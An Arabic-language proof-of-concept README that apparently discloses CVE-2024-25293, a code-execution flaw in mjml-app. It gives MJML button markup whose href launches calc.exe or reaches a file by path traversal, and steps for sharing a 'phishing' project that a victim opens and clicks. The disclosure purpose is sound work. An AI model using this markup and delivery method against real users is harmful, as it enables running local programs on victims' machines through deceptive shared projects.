
استغلال RCE لتطبيق mjml-app الإصدارات v3.0.4 و 3.1.0-beta
إثبات مفهوم لثغرة CVE-2024-25293.
تم اكتشاف أن التطبيق mjml-app في الإصدارين v3.0.4 و 3.1.0-beta يحتوي على ثغرة تنفيذ كود عن بُعد (RCE).
يحتوي هذا المستودع على تطبيق ضعيف كمثال واستغلال لإثبات المفهوم (POC).

الخطوة 1) ينشئ المهاجم وسم 'mj-button' مع خاصية 'href' و
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
<mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
</mj-column>
</mj-section>
</mj-body>
</mjml>

الخطوة 2) ينشئ المهاجم مشروع التصيّد الرئيسي باستخدام الكود التالي.
<!-- header.mjml -->
<mj-section>
<mj-column>
<mj-text>This is a demo jruru</mj-text>
</mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

الخطوة 3) يفتح الضحية المشروع المشترك وينقر على الزر، مما يؤدي إلى تشغيل الحمولة (مثل calc أو notepad)

تشغيل ملفات exe عبر وسوم href داخل التطبيق أمر محفوف بالمخاطر، كما أن تشغيل الملفات بالاقتران مع Path Traversal يمثل مصدر قلق أمني. يتيح ذلك إنشاء مشاريع تصيّد ونشرها لتنفيذ ملفات محلية. لذلك، من الضروري تعديل هذه الميزة لمنع هذا النوع من التنفيذ.